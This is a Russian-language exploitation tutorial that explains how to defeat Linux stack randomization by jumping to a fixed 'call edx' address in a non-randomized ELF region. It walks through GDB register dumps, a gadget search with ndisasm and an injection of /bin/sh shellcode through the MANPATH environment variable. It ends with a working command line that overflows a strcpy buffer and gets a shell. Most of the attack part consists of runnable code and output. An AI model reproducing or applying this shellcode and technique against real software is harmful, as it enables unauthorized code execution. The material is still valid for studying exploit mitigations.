Последние версии Linux ядер содержат механизм рандомизации стека, значительно усложняющий эксплуатацию уязвимостей переполнения стекового буфера. В этой статье рассмотрим возможность осуществления атаки, эксплуатируя статистические адреса в linux. Предполагается, что читатель знаком с стандартными методами переполнение стека.
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] prdelka@gentoo ~ $ cat /proc/5426/maps 08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env 08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env b7df6000-b7eff000 r-xp 00000000 03:01 229995 /lib/libc-2.3.5.so b7eff000-b7f00000 ---p 00109000 03:01 229995 /lib/libc-2.3.5.so b7f00000-b7f01000 r--p 00109000 03:01 229995 /lib/libc-2.3.5.so b7f01000-b7f04000 rw-p 0010a000 03:01 229995 /lib/libc-2.3.5.so b7f04000-b7f07000 rw-p b7f04000 00:00 0 b7f13000-b7f28000 r-xp 00000000 03:01 230174 /lib/ld-2.3.5.so b7f28000-b7f29000 r--p 00014000 03:01 230174 /lib/ld-2.3.5.so b7f29000-b7f2a000 rw-p 00015000 03:01 230174 /lib/ld-2.3.5.so bfc0e000-bfc28000 rw-p bfc0e000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] Как видно из примера, стек рандомизирован вместе с библиотеками, что усложняет проведение атаки типа "ret-into-libc". Однако можно заметить 1 константу, одинаковую в обеих программах: 08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env 08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env В результате нам необходимо найти адрес возврата в этой области. Давайте рассмотрим уязвимую программу: prdelka@gentoo ~ $ cat bug.c #include int main(int argc,char* argv[]){ char buffer[100]; strcpy(buffer,argv[1]); return 1; } Мы сейчас вызовем переполнение стека и посмотрим как выглядят регистры. Для этого используем ./bug `perl -e 'print "A"x5000'` и GDB. Программа получает сигнал SIGSEGV, Segmentation fault. Ошибка во время выполнения hook_stop: Invalid type combination in ordering comparison. 0x41414141 in ?? () gdb> i r eax 0x1 0x1 ecx 0xffffe21d 0xffffe21d edx 0xbfa0b71b 0xbfa0b71b ebx 0xb7ee6ff4 0xb7ee6ff4 esp 0xbfa08630 0xbfa08630 ebp 0x41414141 0x41414141 esi 0xb7f0dc80 0xb7f0dc80 edi 0xbfa08674 0xbfa08674 eip 0x41414141 0x41414141 eflags 0x10246 0x10246 cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x0 0x0 При более подробном изучении мы можем обнаружить адрес рандомизации указателя окружения в EDX, который всегда указывает на наши переменные окружения в уязвимом примере, что часто случается в случае переполнения параметра командной строки. gdb> x/s $edx 0xbfa0b71b: "MANPATH=", Чтобы проэксплуатировать эту программу, мы должны найти путь для вызова "call $edx", "jmp $edx" или sh $edx, retn". Мы можем найти необходимый адрес возврата в статической области памяти из ELF файла, используя ndisasm и grep. prdelka@gentoo ~ $ ./ndisasm bug | grep "call dx" 00000338 FFD2 call dx 000016F3 FFD2 call dx В результате мы знаем, что основной адрес ELF файла - 08048000, если мы добавим 0x338 оффсет, мы получим адрес возврата 0x8048338! Если мы исследуем этот адрес возврата в GDB, то увидим следующее: 0x8048338 <__do_global_dtors_aux+40>: call *%edx
Эксплуатация
Чтобы эксплуатировать ошибку, мы поместим наши данные в первую переменную окружения. Чтобы найти их, запустим команду 'env': prdelka@gentoo ~ $ env MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutils-data/i686-pc-linux-gnu/2.15.92.0.2 /man:/usr/share/gcc-data/i686-pc-linux-gnu/3.3.6/man:/usr/qt/3/doc/man Теперь добавим наш шелкод в эту переменную окружения: prdelka@gentoo ~ $ export MANPATH=`perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68"; print "//sh";print "\x68"; print "/bin";print "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";'` Теперь мы можем проэксплуатировать нашу программу, используя ранее найденный адрес возврата: prdelka@gentoo ~ $ uname -a Linux gentoo 2.6.12-gentoo-r10 #2 Tue Sep 13 00:33:15 IDT 2005 i686 Mobile Intel® Celeron® CPU 1.70GHz GenuineIntel GNU/Linux prdelka@gentoo ~ $ ./bug `perl -e 'print "\x90"x124;print "\x38\x83\x04\x08";'` sh-3.00$